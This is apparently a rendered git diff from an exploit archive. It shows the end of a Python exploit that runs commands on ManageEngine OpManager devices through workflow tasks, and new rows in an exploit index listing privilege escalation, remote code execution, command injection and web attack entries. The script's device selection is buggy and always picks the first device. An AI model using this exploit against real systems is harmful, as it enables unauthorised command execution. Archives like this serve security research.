||||||
|
print(f"{C_YELLOW}[!]{C_RESET} There appears to be multiple Devices within this target OpManager Instance:")
|
||||||
|
print("")
|
||||||
|
counter = 1
|
||||||
|
for key in devices.keys():
|
||||||
|
print(f" {counter}: {key} ({devices[key][0]}) ({devices[key][1]})")
|
||||||
|
|
||||||
|
print("")
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
prompt = f"{C_BLUE}[?]{C_RESET} Please specify which Device you want to run your command on: "
|
||||||
|
devSelect = int(input(prompt))
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
sys.exit(1)
|
||||||
|
except ValueError:
|
||||||
|
print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if devSelect < 1 or devSelect > len(list(devices.keys())):
|
||||||
|
print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
else:
|
||||||
|
device = list(devices.keys())[counter - 1]
|
||||||
|
break
|
||||||
|
|
||||||
|
# don't hate, it works doesn't it?
|
||||||
|
if "indows" in devices[device][1]:
|
||||||
|
workflowName = buildTaskWindows(args.t, session, apiKey, device, args.c)
|
||||||
|
else:
|
||||||
|
workflowName = buildTaskLinux(args.t, session, apiKey, device, args.c)
|
||||||
|
|
||||||
|
workflowID = getWorkflowID(args.t, session, apiKey, workflowName)
|
||||||
|
runWorkflow(args.t, session, apiKey, workflowID, device)
|
||||||
|
|
||||||
|
|
||||||
|
main()
|
||||||
|
|
@ -6525,6 +6525,8 @@ id,file,description,date,author,type,platform,port
|
||||||
47233,exploits/vxworks/dos/47233.py,"VxWorks 6.8 - TCP Urgent Pointer = 0 Integer Underflow",2019-08-12,"Zhou Yu",dos,vxworks,
|
47233,exploits/vxworks/dos/47233.py,"VxWorks 6.8 - TCP Urgent Pointer = 0 Integer Underflow",2019-08-12,"Zhou Yu",dos,vxworks,
|
||||||
47236,exploits/linux/dos/47236.c,"Linux - Use-After-Free Reads in show_numa_stats()",2019-08-12,"Google Security Research",dos,linux,
|
47236,exploits/linux/dos/47236.c,"Linux - Use-After-Free Reads in show_numa_stats()",2019-08-12,"Google Security Research",dos,linux,
|
||||||
47237,exploits/multiple/dos/47237.txt,"WebKit - UXSS via XSLT and Nested Document Replacements",2019-08-12,"Google Security Research",dos,multiple,
|
47237,exploits/multiple/dos/47237.txt,"WebKit - UXSS via XSLT and Nested Document Replacements",2019-08-12,"Google Security Research",dos,multiple,
|
||||||
|
47248,exploits/windows/dos/47248.py,"Windows PowerShell - Unsanitized Filename Command Execution",2019-08-14,hyp3rlinx,dos,windows,
|
||||||
|
47254,exploits/linux/dos/47254.txt,"ABC2MTEX 1.6.1 - Command Line Stack Overflow",2019-08-14,"Carter Yagemann",dos,linux,
|
||||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||||
|
|
@ -10632,6 +10634,7 @@ id,file,description,date,author,type,platform,port
|
||||||
47176,exploits/windows/local/47176.cpp,"Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation",2019-07-26,ShivamTrivedi,local,windows,
|
47176,exploits/windows/local/47176.cpp,"Microsoft Windows 7 build 7601 (x86) - Local Privilege Escalation",2019-07-26,ShivamTrivedi,local,windows,
|
||||||
47231,exploits/linux/local/47231.py,"Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution",2019-08-12,"Etienne Lacoche",local,linux,
|
47231,exploits/linux/local/47231.py,"Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution",2019-08-12,"Etienne Lacoche",local,linux,
|
||||||
47238,exploits/windows/local/47238.ps1,"Steam Windows Client - Local Privilege Escalation",2019-08-12,AbsoZed,local,windows,
|
47238,exploits/windows/local/47238.ps1,"Steam Windows Client - Local Privilege Escalation",2019-08-12,AbsoZed,local,windows,
|
||||||
|
47253,exploits/windows/local/47253.cpp,"Microsoft Windows 10 AppXSvc Deployment Service - Arbitrary File Deletion",2019-08-14,"Abdelhamid Naceri",local,windows,
|
||||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||||
|
|
@ -17606,6 +17609,7 @@ id,file,description,date,author,type,platform,port
|
||||||
47230,exploits/linux/remote/47230.rb,"Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)",2019-08-12,AkkuS,remote,linux,
|
47230,exploits/linux/remote/47230.rb,"Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)",2019-08-12,AkkuS,remote,linux,
|
||||||
47243,exploits/php/remote/47243.py,"Agent Tesla Botnet - Arbitrary Code Execution",2019-08-13,prsecurity,remote,php,
|
47243,exploits/php/remote/47243.py,"Agent Tesla Botnet - Arbitrary Code Execution",2019-08-13,prsecurity,remote,php,
|
||||||
47244,exploits/php/remote/47244.py,"AZORult Botnet - SQL Injection",2019-08-13,prsecurity,remote,php,
|
47244,exploits/php/remote/47244.py,"AZORult Botnet - SQL Injection",2019-08-13,prsecurity,remote,php,
|
||||||
|
47256,exploits/php/remote/47256.rb,"Agent Tesla Botnet - Arbitrary Code Execution (Metasploit)",2019-08-14,"Ege Balci",remote,php,
|
||||||
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
|
||||||
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
|
||||||
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
|
||||||
|
|
@ -41606,3 +41610,11 @@ id,file,description,date,author,type,platform,port
|
||||||
47225,exploits/php/webapps/47225.txt,"osTicket 1.12 - Formula Injection",2019-08-12,"Aishwarya Iyer",webapps,php,80
|
47225,exploits/php/webapps/47225.txt,"osTicket 1.12 - Formula Injection",2019-08-12,"Aishwarya Iyer",webapps,php,80
|
||||||
47226,exploits/php/webapps/47226.txt,"osTicket 1.12 - Persistent Cross-Site Scripting",2019-08-12,"Aishwarya Iyer",webapps,php,80
|
47226,exploits/php/webapps/47226.txt,"osTicket 1.12 - Persistent Cross-Site Scripting",2019-08-12,"Aishwarya Iyer",webapps,php,80
|
||||||
47232,exploits/php/webapps/47232.txt,"Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'cities.php' SQL Injection",2019-08-12,qw3rTyTy,webapps,php,80
|
47232,exploits/php/webapps/47232.txt,"Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'cities.php' SQL Injection",2019-08-12,qw3rTyTy,webapps,php,80
|
||||||
|
47234,exploits/php/webapps/47234.py,"Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated Configuration Download",2019-08-12,xerubus,webapps,php,80
|
||||||
|
47235,exploits/php/webapps/47235.py,"Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated OS Command Injection Bind Shell",2019-08-12,xerubus,webapps,php,
|
||||||
|
47247,exploits/php/webapps/47247.txt,"SugarCRM Enterprise 9.0.0 - Cross-Site Scripting",2019-08-14,"Ilca Lucian Florin",webapps,php,80
|
||||||
|
47249,exploits/php/webapps/47249.txt,"Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'customfields.php' SQL Injection",2019-08-14,qw3rTyTy,webapps,php,80
|
||||||
|
47250,exploits/hardware/webapps/47250.rb,"D-Link DIR-600M - Authentication Bypass (Metasploit)",2019-08-14,"Devendra Singh Solanki",webapps,hardware,80
|
||||||
|
47251,exploits/php/webapps/47251.txt,"WordPress Plugin Download Manager 2.5 - Cross-Site Request Forgery",2019-08-14,"Princy Edward",webapps,php,80
|
||||||
|
47252,exploits/windows/webapps/47252.txt,"TortoiseSVN 1.12.1 - Remote Code Execution",2019-08-14,Vulnerability-Lab,webapps,windows,
|
||||||
|
47255,exploits/windows/webapps/47255.py,"ManageEngine opManager 12.3.150 - Authenticated Code Execution",2019-08-14,kindredsec,webapps,windows,
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue